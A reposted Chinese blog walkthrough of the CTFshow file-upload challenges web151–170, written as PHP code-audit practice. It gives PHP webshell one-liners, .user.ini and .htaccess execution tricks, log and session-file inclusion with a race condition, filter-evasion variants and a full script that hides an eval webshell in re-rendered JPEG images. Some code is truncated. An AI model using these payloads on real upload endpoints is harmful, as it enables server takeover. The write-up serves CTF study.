php代码审计前奏之ctfshow之文件上传

本系列题目来源:CTFSHOW: https://ctf.show/challenges

想搞好代码审计,必须要搞懂其中一些危险函数危险应用,以及过滤不足,

故以 CTF 来练习。

web151~前端验证

直接抓包修改后缀。

web152~前端+MIME

直接抓包修改后缀。

web153~.user.ini

https://www.php.net/manual/en/ini.list.php

使用条件:

(1)服务器脚本语言为PHP 服务器使用CGI/FastCGI模式

(2)上传目录下要有可执行的php文件

使用方式:

  1. 上传一张图片马

  2. 上传 .user.iniauto_prepend_file=ma.png

  3. 访问.user.ini同级目录中的一个php文件。

本题目中有 /upload/index.php,所以可以操作。

题目配置可以从http相应包得到。nginx/1.18.0 (Ubuntu)

web154~文件内容过滤php

上来测试发现是黑名单过滤的。

我们还可以上传 .user.ini,并且upload/index.php真好存在。

那么我们上传一张图片马,

发现被拦截了。

文件上传失败,失败原因:文件内容不合规

猜测可能是拦截了 php 字符串。那么我们删掉他试试,果然上传成功。

那么我们呢绕过就可以了。

 echo '123';?>          # 不可

=eval($_POST['a']);?>

   # 不可用

web155~文件内容过滤php

测试正常的 png 图片可以上传。

对图片内容过滤php

绕过 =eval($_POST['a']);

步骤跟上关一样。。。。。

web156~过滤 php, [

测试,又是文件内容过滤了 php.

紧接着发现事情没这么简单,还过滤了[,这给传参造成了一定的困难。

但是我们可以直接

=system('cat ../flag.???');

=eval($_POST{'a'});    # 用 {} 代替   []

web157~过滤分号

nginx/1.18.0 (Ubuntu) PHP/5.6.40

文件名黑名单

经测试,对文件内容过滤了 php[{;

上传.user.ini

我们知道 php 最后的语句也可以不加分号的,前提是得有 ?>结束标志。

上传 2.png

=system('ls ../')?>
=system('cat ../*')?>

访问upload/index.php

web158~过滤分号

和web157解法相同。

web159~过滤括号

经测试,对文件内容过滤了 php[{;(

问题不大,不能用函数了。

那我们用反引号代替system()

=`cat ../*`?>

web160~过滤反引号,包含日志

经测试,对文件内容过滤了 php[{;(、 反引号 、空格。

好家伙。包含日志文件,但发现 log也被过滤了。那就进行拼接。

上传.user.ini后,在上传 ma.png

=include"/var/lo"."g/nginx/access.lo"."g"?>

看到页面回显,确实包含了。

想着直接浏览器访问 url 路径带上一句话,但是却被编码了 %3C?php%20eval($_POST[1]);?%3E

还是再UA出比较好。

修改UA User-Agent:

然后成功getshell.

web161~检测文件头

php代码审计前奏之ctfshow之文件上传

发现只有文件内容异常的图片已经上传不上去了。猜测应该是对文件头进行了检测。

php代码审计前奏之ctfshow之文件上传

上传 GIF89a成功绕过,但是这里文件内容测试只有两个字符的时候还不能上传。。。。。所以多放点字符。

其余操作和上官相同。

web162~包含session文件

测试,这关也检测了文件头,但是同时过滤掉了 点 .

我们可以看到这样绕过

.user.ini :

GIF89a
auto_prepend_file=ma

但上传ma文件,同样不能包含日志文件。这时候就需要包含session文件了。

这里还过滤了flag

上传 ma

GIF89a
=include"/tmp/sess_fllag"?>

那么我们就开始构造,session文件竞争包含。

构造




php代码审计前奏之ctfshow之文件上传

一直上传,内容为写后门到 a.php

然后一直包含session文件。

php代码审计前奏之ctfshow之文件上传

可以看到成功包含,那么此时我们去upload/a.php,成功访问,并测试后门成功写入。

php代码审计前奏之ctfshow之文件上传

可以参考文件包含篇

还有 利用session.upload_progress进行文件包含

web163~包含session文件

过滤还是前面的过滤。

操作和上关一样的。

这里有upload/index.php,所以我们其实可以直接利用此文件包含Session文件。

上传.user.ini:

GIF89a
auto_prepend_file=/tmp/sess_fllag

然后就开始session文件竞争上传和包含。

php代码审计前奏之ctfshow之文件上传

成功。

这是题目源码:

 0)
{
	$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
    $filename = $_FILES["file"]["name"];
    $filesize = ($_FILES["file"]["size"] / 1024);
    if($filesize>1024){
    	$ret = array("code"=>1,"msg"=>"文件超过1024KB");
    }else{
    	if($_FILES['file']['type'] == 'image/png'){
            $arr = pathinfo($filename);
            $ext_suffix = $arr['extension'];
            if($ext_suffix!='php'){
                $content = file_get_contents($_FILES["file"]["tmp_name"]);
                if(stripos($content, "php")===FALSE && check($content) && getimagesize($_FILES["file"]["tmp_name"])){
                    move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
                    $ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
                }else{
                    $ret = array("code"=>2,"msg"=>"文件类型不合规");
                }

            }else{
                $ret = array("code"=>2,"msg"=>"文件类型不合规");
            }
    		
    	}else{
    		$ret = array("code"=>2,"msg"=>"文件类型不合规");
    	}
    	
    }

}
function check($str){
    return !preg_match('/php|{|[|;|log|(| |`|flag|./i', $str);
}

function clearUpload(){
    system("mv ./upload/index.php ./index.php_");
    system("rm -rf ./upload/*");
    system("mv ./index.php_ ./upload/index.php");
}

sleep(2);
clearUpload();
echo json_encode($ret);

web164~png二次渲染

测试了一下。

{"code":3,"msg":"只允许上传png格式图片"}

白名单验证。

找了一张测试可以成功上传png图片。

还发现

download.php?image=4a47a0db6e60853dedfcfdf08a5ca249.png

可以随意修改图片又会被检测,故做图片马。

但是一般的图片马还绕不过,应该是做了二次渲染。

所以可以上传二次渲染绕过的图片,在做文件包含即可。

生成脚本:

   */

$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y 

php代码审计前奏之ctfshow之文件上传

web165~jpg二次渲染

测试只能上传 jpg.

{"code":3,"msg":"只允许上传jpg格式图片"}

也是二次渲染,当我们写后门进图片是,后台会自动检测并删除数据。

那么就用到 jpg二次渲染绕过了。

拿脚本



    In case of successful injection you will get a specially crafted image, which should be uploaded again.

    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

    Sergey Bobrov @Black2Fan.

    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

    */

    $miniPayload = "=eval($_POST[1]);?>";


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php ');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something's wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) binData||(strlen($this->binData) === 0);
        }
    }
?>

先上传一张图片,然后下载下来,然后利用脚本生成。

php jpg_payload.php 

php代码审计前奏之ctfshow之文件上传

再继续上传,

发现这张图片不行,再来一张。

php代码审计前奏之ctfshow之文件上传

成功。

需要注意的是,有一些jpg图片不能被处理,所以要多尝试一些jpg图片.

web166~zip文件上传包含

尝试多次,发现zip 文件可上传。

php代码审计前奏之ctfshow之文件上传

但是上传直接编辑后门一句话的压缩包。

php代码审计前奏之ctfshow之文件上传

php代码审计前奏之ctfshow之文件上传

web167~.htaccess

php代码审计前奏之ctfshow之文件上传

但这只是前端限制。

可以看到,只允许jpg上传。

抓包测试了一下,是黑名单。

开局有个提示httpd

测试apache解析漏洞没解析。

测试.htaccess成功。


SetHandler application/x-httpd-php

然后上传带有马的 1.jpg即可。

但是这里浏览器响应回来的是 nginx呀,坑。

web168~后门免杀

基础免杀

测试,会检测_GET_POST

可抓包后修改直接上传php文件。

反引号

反引号达到命令执行的效果。


把源码拔下来

 0)
{
	$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
    $filename = $_FILES["file"]["name"];
    $filesize = ($_FILES["file"]["size"] / 1024);
    if($filesize>1024){
    	$ret = array("code"=>1,"msg"=>"文件超过1024KB");
    }else{
    	if($_FILES['file']['type'] == 'image/png'){
            $str = file_get_contents($_FILES["file"]["tmp_name"]);
            if(check($str)===0){
                move_uploaded_file($_FILES["file"]["tmp_name"], './upload/'.$_FILES["file"]["name"]);
                $ret = array("code"=>0,"msg"=>$_FILES["file"]["name"]);
            }

    	}else{
    		$ret = array("code"=>2,"msg"=>"文件类型不合规");
    	}
    	
    }

}

function check($str){
    return preg_match('/eval|assert|assert|_POST|_GET|_COOKIE|system|shell_exec|include|require/i', $str);
}

echo json_encode($ret);

本来还想着包含一波日志。

字符拼接

$_REQUEST


数学函数

这里

其他函数构造




web169~.user.ini包含日志

测试发现

抓包需修改Content-Type: image/png

文件名后缀随意。

看看文件内容过滤了啥 ? 等等。

只能进行 .user.ini日志文件包含了。

思路: 上传 .user.ini

auto_prepend_file=/var/log/nginx/access.log

然后随便上传个php文件即可。

然后改UA为一句话即可。

web170

测试上传zip,抓包修改,后缀为php, MIME类型为image/png.

包含.user.ini

日志文件/var/log/nginx/access.log

相关推荐: VulnHub-Chill-Hack 1 靶场渗透测试

作者:ch4nge时间:2021.1.25 靶场信息: 地址:https://www.vulnhub.com/entry/chill-hack-1,622/发布日期:2020年12月9日难度:容易/中级目标:获取标志Flag: 2 (User and root…

本文为转载文章,源自互联网,由网络整理整理编辑,转载请注明出处:https://www.hacksafe.net/articles/web/5776.html

发表评论

电子邮件地址不会被公开。 必填项已用*标注